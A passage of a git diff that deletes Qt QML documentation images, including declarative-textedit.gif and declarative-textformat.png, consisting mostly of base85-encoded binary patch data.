zOJHJ_AHU&lEY1!7J>rytTgZ}Dxx{T|iz5)M?7T^d2&n`dCSG3g`HG6FGnBghFJJos zdta~bsJO(0tZNJI_*hOZb!KZz{w`ZUfIRq?x!C|kSs|n9jl(cp{5^k0I_|^hnE$3Z z@IK-r++^-`qZSnV29(g$C-T8mc z*v<<1i9|{VV$tmrYG=g&X4w5}7%r?WCT816yT6Bv?0h&#!%|kZ`*GWMPKoqaubzY8 zL{HQCQnmi==kYfjxH!2Wa#KJ!nBl2M4^0P25R>ROfy^!kLCs`!>yr zTt<$LMdVwSjJzt(v$NM8hn2BuIy*Z%I2783^gsgw8d6eHnwvw+%`*xL3Ywdn7rM-? zJhLZ8MqtLq|CW`NRaJQe2a|8^FT<(Jr+yQOo?tLIB;;?z3E4eo6uhrrVwP!0C{E#3 z&3f@-XsEoXsHm~=V9L_I?aA&EK1Kca!a`l})~v=kC1Y@OY)nQ*=0}~Qj+2v9P*9M+ zKM0_Z=X^}mc4P5)XBce6tstV0!{hPe^lx6|=epg*TXUrOnJ-N0hX9b6lyu+F5a0)c zEmgCPE;N-YV2VJ5k=EhB!0_;wn%0H}^CDCJrI{Hk6l%S*6Ack`e7m%~yt%n)gFsLy zl*+0qF)^{E#Kh@p>z)-%e0*7PabRE||I+GcUewvq+Un{fAD`{YO36k9(%gJ`WyQkM zG9H_dkkHuI6ktl#ZN|x&C@Uw&3}7&r94!M)O<->jMMz`=e7AqJot;HaCzsULj*pKs zv1m|sdSYTOLtI=e;PBmUI$3@vD73HMxu3)B0;?4=iS)ju<$z2UTsk~_e*rNRZ(w3_ z{=2G{V>}_@dW&t%1WHs)?4Fw1#Z;L=s66z!IFc zhV-D&`S0K3F&J$f9X&lg7Pw#<3Lk~*C=~N@b304ExVx9Z)ZX3> z`2PKaEdAnSY@JgNcXV9L^J$mJJGYMM?(V+#luSiMCHI{}wfF2|ngx-^?m&4})&2aR z`s0i^sGi=-wJ6b|(o#_ok*n*Ss6n|qiub@|Ql_QdC3Jc^>jm64HhH5xi)zj1SV83HhB28aVNJwlggsqQ2h#*bq-MDeXZ7hG6MDq0T(1FBh zPkj3}s0`87ZES89a`N;fmK8**sH@w-;Q|?hvyD+FxVHl{GWfK#wCZZ9+qZAmTk-Jn zBJJ${4F{Q3SXf(IgK}Y_8C%~!e)Y{+A`-(XhkoSAuC7JW#uuWyhsWlJpiN;`0~m~6 z!R4W3W>;4i?9bL*b1sXD;MwtJEp1#kfgqxwpdc(9D=#W6Y!#v*uA~L#xDfa<7}Niy f^8e!$9Nz9U4oanACP-hrEP#QoF{DP@A?E)8%&alB diff --git a/src/qml/doc/images/declarative-textedit.gif b/src/qml/doc/images/declarative-textedit.gif deleted file mode 100644 index 7186eb9f4fac564ffdfb479dac75e2e07fd08aa6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 15286 zcmeHOcUV(bAI`lQKp2LA5JE%}hJX` zN(GdmAP$y{uMV_UMFA1D+WKLuwas^-t+oByrys4g<$H3Ie{yr4bMAS6@9#bD8Q03j z(!kL78EiG|ISjh^(8cBQhlcnJ247c~uge%>aEG|icL@6OhxmM5?$CU}g^S1+b+n+m zns0Kp(9zU_1JF(4O9TRh@nPio0`t|v;Cx*Bt?#r3Z0frV9$oI>)77#Ag3E&Hj_-VQ zCY(Hi-*_kXxYdi#`5WEVT9fhmy%mxDROOPt>x=0&Swc)s_VmPMSX#+miov6~7?S7@U%(X|YOi3E9)c(z%+z@)V>!$mR@A z$);oQR~vNKW?zD(-$Y_+TuYq5Y!|uZT6EUYEw3sYr2{?*bl^EDjS-lU91fdXwkeqz zl3?koaCVZ7rq*3|RjO%jc=d!~5>+-l^JRJ|9%eJh8 zSLV4H!K;cGvtV^`OfgtfmSPL?jup)wsO44H&DJ%v&d%01UDSBgfLC51J`#jDPe#BH zFaSn^!9ZkYPHjDMJ|({YXFeqW=mP^m3Lv<>fR+H0Ul0QL8H17p3=*Wzys9iBPr&aP zB)yGo-P+Xs%5XU}M;9g0|S`;^b~^;z-&`zUb? zN4Zy^b7$~|pXmm<*>eLucq4hui(Y^o?4KuNC>U85lGpR^nzlm3a7rd{kAgAMcuU(ai}E z`;QZ3D2^&n2Za~nNX}fzsww%7<|U=h`t&m6ep$Fvb@ClGriw`OOl@oJ>EW=~*R-hG zuh#-DvH!eSL0uvLT2~UDUyj{<0!dqyt!Rj@@r)1Upm*tg{4o9cX~Y)$Ws@T6@473x zKMu}tG~`Onkt{RI4w3f|c}UgGe{32=3RL|)K)yK9{EgBOap&XqeGab7%n=D5Jie8c zs_?0DS^Ebo_xoA9l^Y(Lif*p$U^u;H>1-jrgns_u0ZZOBix)8%{6@b7xBq7=4pG1s zq5vMI1cMhSZ0;_sa*oKCJTOhxqgu6PzMu1R(`-ylTtY#@n^$9AWM z>p$#~p=@=wlGLCVhPaR@&P+Hld2

lXf`v%XIEoN`0uI2hLa;SL~>OpHa~g!A43^ zQFLqqz>dOFvop{Ud!o0e0?z5uG3adU1`%&!DS#F!bg1^kZL>U3=g6+CbCU6FifxIP zK9%3tQoKC0vqZ`>Tsrh@H(6sCzk0O&lgn2xULU{luhCn>faLqhIsYGJ4layq2OQb` zHd246VF>p5s+KLlz7K+3ofmsMQ@?H7RPsd}xT!mrXI9kn1^796 zK$Tr^uUi_0m8Z<=NowlVBBpcO!{OYgDjtK#<0yqf5`k9DeQ2CwQ<~G+Jegr&bjZOL zD=TJ0Nn}fjm~4lKsIJT<&R1OJ!Wa}*%@WHp&%N^eB;xh40HHDmaIz;A>%khU6{lhqK)e`%*O~WNq;Z9Q zXMLRpBg;8x1YPTRz&=6v4@K~A&=?2UTKf5LwI}jv3EnS&n zfI5(X5QWK4!4$FS;q~l`fuqVG+iz{TGhPPpxv;$CxQ>CcOkp=lmr4%0)nhO?x$Gu3 z^{wgspAXccabdklDG^-zW@RX)%)!4eA`r&&5A=Ov#{Due0d;`wsj3;y6YA!r1uL3k z$ilt!sF|19smTxS!WAS^D{9&}4#yJ2b?H@K>vhRYul@pg$)mT`_=Zob+=Zu4{Ok9d z!+V87 z{1wHuZ$fG%l29E6Z@HzvvTZ@#zgS;ds$_&_P;Yqj^BEMh5HN4h9OgwIehr$|iEGYp zHawfXyzg_mTD)Jd%Vh2GhqKwcXd+0u?D_J_7R9rOlJKpZ4-(I`sp33AD@xhG3BaPW7_@~dRp3kYi zk16U>CC1{O8zPGjL>A1#s?i?Ep}rpNxiM2vG|`~<71tdGu9LvCbl^=bj;Dn+&1Hcz zm^q!Iyn}-lGdw&m5#y}ZW3(DKeT}QF-RWo1Q}NRJ)~-j!t|r>{!pqnA2edUVzb|y% zl%|HMe}Kb0RyPNzJ2aJmT|@#tLzF3+VssD9~rSVmOU6|KS8|?mmEJdeS#<6 zrDChs2KsmE2pt@J5oU7aEq}H1$H4*=Y@htj7zu?Z6haHPz~xj(_(rviY$oarZrSVS z+}8I+(#v@L1z`S}jT2z64(D9?Q=`y&Q2=uuGa!?+bvrU>jcwA@IckYsRYHlCmx@NF z1@=TX5Mw9Ag!!?lQPk*TEMR%ARy93}e?VY-x)Z$(R@Shwrfh=iM$H;qs2>~sCt8lb@SO2hic!KAEdu_(el(CfmB zPRxh$UOUu7Y*r`k2$FrpNWGyPBNc1uwl^h|lBhumN0@GN-;)KJ8YHdDMOwQOXqoX>{IwgIC> zm-3Zr!sA4mM(n*v@fRnwHaZfi_Kf7Xt83A!#bn7fEUI~;eAsAdfNK(J{1WOBPshKo z%4~DR9de5N?ua6{V0af0{mqGUuI?_uok*Vgc$u8pH)c{UfL~_smzdRhADz;+yOjG8 zC1xl_Cu5*!Gkw@Z$n5twLEfww!UZeOf^(;T@X+mVuRJeRT@yU_uX@P8a_aa;ln5f; zTZhR7hsNIJ0@@Nzfwwpzc)>uxiN(G~Ay5^;MCVVxg(T3R_wFG6N_XlSFxpVA=X F{{YbZjY0qb diff --git a/src/qml/doc/images/declarative-textformat.png b/src/qml/doc/images/declarative-textformat.png deleted file mode 100644 index ade1b45429dcbf76691c2653f7568e3b90c1a137..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 11498 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 